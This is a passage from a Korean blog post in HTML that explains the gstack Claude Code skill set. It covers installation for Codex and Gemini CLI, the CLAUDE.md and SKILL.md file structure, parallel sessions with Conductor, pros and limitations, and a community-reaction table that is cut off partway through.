&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.4 Codex / Gemini CLI 설치 (신규)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 이제 Claude Code 외에도 &lt;b&gt;OpenAI Codex CLI&lt;/b&gt;, &lt;b&gt;Gemini CLI&lt;/b&gt;, &lt;b&gt;Cursor&lt;/b&gt;를 지원한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;SKILL.md 표준을 통해 호환되며, 설치 시 &lt;code&gt;--host&lt;/code&gt; 플래그로 대상을 지정한다. &lt;code&gt;--host auto&lt;/code&gt;를 사용하면 설치된 에이전트를 자동으로 감지한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: Factory Droid 지원은 CHANGELOG v0.13.8.0(2026-03-29)에서 공식 제거되었다. README에 일부 흔적이 남아 있으나 현재는 미지원이다.)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Codex CLI 설치 (레포 로컬)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git .agents/skills/gstack &amp;amp;&amp;amp; \
cd .agents/skills/gstack &amp;amp;&amp;amp; ./setup --host codex

# Codex CLI 설치 (유저 글로벌)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git ~/gstack &amp;amp;&amp;amp; \
cd ~/gstack &amp;amp;&amp;amp; ./setup --host codex

# 에이전트 자동 감지 (Codex, Gemini, Cursor 등 설치된 것 자동 탐지)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git ~/gstack &amp;amp;&amp;amp; \
cd ~/gstack &amp;amp;&amp;amp; ./setup --host auto&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;⚠️ 설치 커맨드 최신 확인&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 빠르게 진화 중이다. 설치 방식이 업데이트될 수 있으므로 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 README&lt;/a&gt;에서 최신 커맨드를 확인하는 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 5: CLAUDE.md ===== --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. CLAUDE.md 및 설정 파일 구조&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;CLAUDE.md란?&lt;/b&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md는 Claude Code가 프로젝트를 이해하는 데 사용하는 설정 파일이다. 프로젝트 루트 또는 &lt;code&gt;~/.claude/&lt;/code&gt; 디렉토리에 위치하며, 프로젝트 컨텍스트, 규칙, 사용 가능한 스킬 목록 등을 기술한다. Claude Code는 대화를 시작할 때 이 파일을 자동으로 읽어 컨텍스트로 활용한다. gstack을 설치하면 이 파일에 gstack 스킬 목록이 자동으로 추가된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack 설치 후 `~/.claude/` 또는 프로젝트의 `.claude/` 디렉토리 구조를 살펴보면 다음과 같다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;~/.claude/
├── CLAUDE.md                    # 메인 설정 파일 (gstack 스킬 목록 포함)
└── skills/
    └── gstack/
        ├── CLAUDE.md            # gstack 전용 개발 가이드
        ├── ARCHITECTURE.md      # 시스템 아키텍처 문서
        ├── BROWSER.md           # 브라우저 자동화 가이드
        ├── browse/              # Playwright 브라우저 CLI
        ├── qa/                  # QA 자동화 스킬
        ├── plan-ceo-review/     # CEO 리뷰 스킬
        │   └── SKILL.md
        ├── plan-eng-review/     # EM 리뷰 스킬
        │   └── SKILL.md
        ├── review/              # Staff Engineer 리뷰 스킬
        │   └── SKILL.md
        ├── ship/                # Release Engineer 스킬
        │   └── SKILL.md
        ├── setup-browser-cookies/
        │   └── SKILL.md
        ├── retro/
        │   └── SKILL.md
        └── .gstack/             # 세션 데이터 (병렬 실행 시)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLAUDE.md 설정 예시&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack이 설치되면 메인 `CLAUDE.md`에 스킬 목록이 자동으로 추가된다. 개발자가 직접 커스터마이징할 수 있는 형태는 대략 다음과 같다 (⚠️ 추정: 실제 형식은 공식 레포에서 확인):&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# CLAUDE.md (예시 &amp;mdash; ⚠️ 추정 기반 재구성)

## Project Context
[프로젝트 설명]

## gstack Skills
다음 슬래시 커맨드를 사용해 개발 워크플로우를 진행한다:

- /plan-ceo-review : 창업자 시각에서 문제 재정의 및 10배 솔루션 탐색
- /plan-eng-review : 아키텍처 확정, 데이터 플로우, 에지 케이스 정의
- /review          : Staff Engineer 수준의 프로덕션 버그 탐색
- /ship            : 싱크 &amp;rarr; 테스트 &amp;rarr; PR 생성 &amp;rarr; 배포
- /browse          : Playwright 브라우저로 실제 화면 확인
- /qa              : diff 기반 자동화 테스트
- /retro           : 팀 메트릭 기반 회고 생성

## Workflow Philosophy
Planning is not review. Review is not shipping.
Each skill activates a distinct cognitive mode &amp;mdash; do not blend them.

## Tech Stack
[프로젝트 기술 스택]

## Key Rules
- /browse 사용 시 Chrome MCP 도구 금지, gstack 바이너리 사용
- SKILL.md 파일은 템플릿에서 자동 생성 &amp;mdash; 직접 수정 금지&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;SKILL.md 파일 구조&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 중요한 내부 규칙이 있다: &lt;b&gt;SKILL.md 파일은 `.tmpl` 템플릿에서 자동 생성된다.&lt;/b&gt; 직접 편집하면 안 되고, 템플릿 파일을 수정한 후 생성 스크립트를 실행해야 한다. 이 구조는 일관성을 보장하고 실수를 방지한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# SKILL.md 수정 방법 (올바른 방법)
# 1. 템플릿 파일 수정
# ⚠️ 아래는 추정 기반 예시 &amp;mdash; 실제 명령은 공식 레포 CONTRIBUTING.md 참조
vim plan-ceo-review/SKILL.md.tmpl

# SKILL.md 재생성 (정확한 명령은 레포에서 확인)
bun run gen:skill-docs  # 또는 다른 빌드 스크립트일 수 있음

# 틀린 방법 (하면 안 됨)
# vim plan-ceo-review/SKILL.md  &amp;larr; 직접 수정 금지&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 6: 병렬 실행 ===== --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Conductor와의 병렬 실행&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/edBVEc/dJMcaaY2CAA/4mLyijyFOWmxnSrvcuhfy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/edBVEc/dJMcaaY2CAA/4mLyijyFOWmxnSrvcuhfy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/edBVEc/dJMcaaY2CAA/4mLyijyFOWmxnSrvcuhfy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FedBVEc%2FdJMcaaY2CAA%2F4mLyijyFOWmxnSrvcuhfy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1960&quot; height=&quot;1060&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 단독으로도 강력하지만, &lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.conductor.build&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Conductor&lt;/a&gt;&lt;/b&gt;와 함께 사용할 때 진가를 발휘한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Conductor는 여러 Claude Code 세션을 격리된 워크스페이스에서 동시에 실행하는 도구다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(Garry Tan은 10~15개의 병렬 스프린트를 동시에 실행한다고 밝혔다.)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack + Conductor 조합으로 가능한 것:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;10개의 전문화된 Claude Code 세션 동시 실행&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;각 세션이 &lt;b&gt;독립된 브라우저 인스턴스&lt;/b&gt;와 쿠키를 갖고 있어 포트 충돌 없음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;세션별 로그와 상태가 &lt;b&gt;.gstack/ 디렉토리&lt;/b&gt;에 분리 저장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;예: CEO 리뷰 세션 + 코드 리뷰 세션 + QA 세션을 동시에 병렬 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;병렬 실행 시나리오 예시&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;새로운 기능을 개발할 때:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;세션 1&lt;/b&gt; &amp;mdash; /plan-ceo-review: &quot;이 기능이 정말 사용자에게 필요한가? 더 나은 대안은?&quot;&lt;br /&gt;&lt;b&gt;세션 2&lt;/b&gt; &amp;mdash; /plan-eng-review: 아키텍처 설계 및 데이터 플로우 작성&lt;br /&gt;&lt;b&gt;세션 3&lt;/b&gt; &amp;mdash; /review: 기존 코드베이스에서 영향받는 부분 분석&lt;br /&gt;&lt;b&gt;세션 4&lt;/b&gt; &amp;mdash; /qa: 현재 테스트 커버리지 확인 및 테스트 계획 수립&lt;br /&gt;&lt;br /&gt;이 4개 세션이 동시에 병렬로 실행되어, 혼자서도 팀처럼 일하는 것이 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 7: 장단점 ===== --&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 이 방식의 장점과 한계&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;장점&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;인지 모드 분리의 효과&lt;/b&gt;: 기획할 때는 기획자처럼, 리뷰할 때는 엔지니어처럼 사고하도록 강제함으로써 각 단계의 품질이 높아진다. &quot;범용 모드&quot;에서 발생하는 타협 없이 각 역할의 전문성을 최대한 끌어낸다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;일관성&lt;/b&gt;: 슬래시 커맨드 하나로 복잡한 워크플로우를 재현할 수 있다. 팀원이 바뀌어도, 시간이 지나도 동일한 프로세스를 따른다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;브라우저 자동화 통합&lt;/b&gt;: /browse와 /qa를 통해 실제 시각적 검증을 자동화할 수 있다. &quot;화면에 버튼이 보이는지 확인해줘&quot; 수준의 QA를 AI가 처리한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;Greptile 통합&lt;/b&gt;: 자동화된 코드 리뷰 도구를 트리아지하는 기능이 실전에서 매우 유용하다. 오탐지 필터링이 수동 리뷰 시간을 크게 줄인다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;검증된 생산성&lt;/b&gt;: Garry Tan 본인이 gstack으로 &lt;b&gt;일당 10,000~20,000 LOC&lt;/b&gt;를 파트타임으로 유지했다고 밝혔다. 주간 회고 기준 140,751줄 추가, 362 커밋, 약 115K net LOC를 기록했으며, 총 600,000줄 이상의 프로덕션 코드(35%가 테스트)를 작성했다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack README&lt;/a&gt; &amp;mdash; 자체 보고 수치)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;멀티 에이전트 지원&lt;/b&gt;: Claude Code 전용이 아닌, Codex&amp;middot;Gemini CLI&amp;middot;Cursor까지 지원하여 도구 종속성을 줄인다. &lt;code&gt;--host auto&lt;/code&gt; 플래그로 설치된 에이전트를 자동 감지한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;보안 스킬 내장&lt;/b&gt;: /cso(OWASP Top 10 + STRIDE), /careful, /freeze, /guard 등 안전 가드레일이 기본 내장되어 프로덕션 실수를 방지한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;오픈소스 + YC의 신뢰&lt;/b&gt;: MIT 라이선스, 56,000+ 스타(2026-03-30 기준), YC CEO가 실제 사용하는 셋업이라는 점에서 실전 검증이 된 방법론이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한계 및 주의사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;진입 장벽&lt;/b&gt;: Bun 설치, 바이너리 컴파일, Claude Code 숙련도가 필요하다. 초보자에게는 어렵다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;Windows 제한적 지원&lt;/b&gt;: /browse 스킬은 macOS와 Linux에서 가장 안정적이다. Windows 11에서는 Git Bash 또는 WSL을 통해 사용 가능하나, Bun 버그(bun#4253)로 인해 Node.js가 추가로 필요하다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;비용&lt;/b&gt;: 병렬 Claude Code 세션 실행은 API 비용이 빠르게 증가할 수 있다. gstack 자체 문서에서도 테스트 실행 비용을 명시적으로 언급한다 (eval 테스트 ~$4/회, E2E ~$3.85/회).&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;Conductor 의존성&lt;/b&gt;: 병렬 실행의 진정한 가치는 Conductor와 함께 사용해야 나온다. 별도 도구 학습이 필요하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;영어 중심&lt;/b&gt;: 스킬 파일이 영어로 작성되어 있으며, 한국어 맥락에서의 최적화는 별도 커스터마이징이 필요할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 8: 커뮤니티 반응 ===== --&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 커뮤니티 반응 &amp;mdash; 찬사와 논쟁&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/06MKg/dJMcahDQVRh/pNotPojpZjE9cO5RCAkRE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/06MKg/dJMcahDQVRh/pNotPojpZjE9cO5RCAkRE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/06MKg/dJMcahDQVRh/pNotPojpZjE9cO5RCAkRE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F06MKg%2FdJMcahDQVRh%2FpNotPojpZjE9cO5RCAkRE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;1060&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 2026년 3월 공개 이후 &lt;b&gt;48시간 만에 GitHub 스타 10,000개&lt;/b&gt;를 돌파하며 역대 가장 빠르게 성장한 개발 도구 중 하나가 되었다. 동시에 뜨거운 찬반 논쟁도 불러일으켰다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;TechCrunch가 &quot;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://techcrunch.com/2026/03/17/why-garry-tans-claude-code-setup-has-gotten-so-much-love-and-hate/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Why Garry Tan's Claude Code setup has gotten so much love, and hate&lt;/a&gt;&quot;이라는 제목으로 보도할 정도였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;긍정적 반응&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #28a745; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;핵심 반응&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;48시간 만에 10K+ 스타, 2주 만에 47,800+ 스타. 2026년 가장 빠른 개발 도구 성장 기록 (2026-03-26 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://dev.to/_46ea277e677b888e0cd13/claude-code-vs-codex-2026-what-500-reddit-developers-really-think-31pb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Reddit 500+ 개발자 종합 (Dev.to)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;install staff engineer brain&quot; &amp;mdash; 체크리스트 기반 사고방식을 빌려오는 느낌이라 주니어 개발자에게 특히 유용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.junia.ai/blog/garry-tan-claude-code-setup-gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;보안 커뮤니티&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;구조화된 리뷰 스킬이 실제 XSS 취약점을 발견한 사례 보고. 사람이 놓칠 수 있는 미묘한 보안 결함 탐지 (출처: Junia AI 종합 분석)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://agentnativedev.medium.com/garry-tans-gstack-running-claude-like-an-engineering-team-392f1bd38085&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;스타트업 생태계&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;워크플로우 표준화 도구로서의 가치 인정. 팀원마다 AI 활용 격차가 큰 문제(&quot;같은 AI인데 왜 결과가 다르지?&quot;)를 해결 (출처: Agent Native Medium)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.producthunt.com/products/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Product Hunt&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;#3 Day Rank, 457 업보트. &quot;persistent browser daemon이 진짜 기술적 기여&quot;라는 평가 (출처: Product Hunt 직접 조회, 2026-03-26)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.ycombinator.com/item?id=47355173&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;계획 리뷰와 코드 리뷰를 분리하는 설계가 아키텍처적으로 건전하다는 평가. &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.ycombinator.com/item?id=47427688&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack++ C++ 포크&lt;/a&gt;가 등장할 정도로 커뮤니티 확장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.threads.com/@choi.openai/post/DWNOR9dEdP_&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;한국 Threads&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;@choi.openai, @github.awesome 등 한국 AI 인플루언서들이 설치 가이드 공유. &quot;코딩 전에 두 개의 플래닝 스킬을 먼저 사용하는 구조&quot;에 주목&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.hada.io/topic?id=27756&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews (긱뉴스)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;Claude Code로 만드는 가상 엔지니어링 팀&quot;으로 소개. 한국 개발자 커뮤니티에서 적극적 수용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/tvytlx/status/2035561750704320771&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Xiao Tan (X.com)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
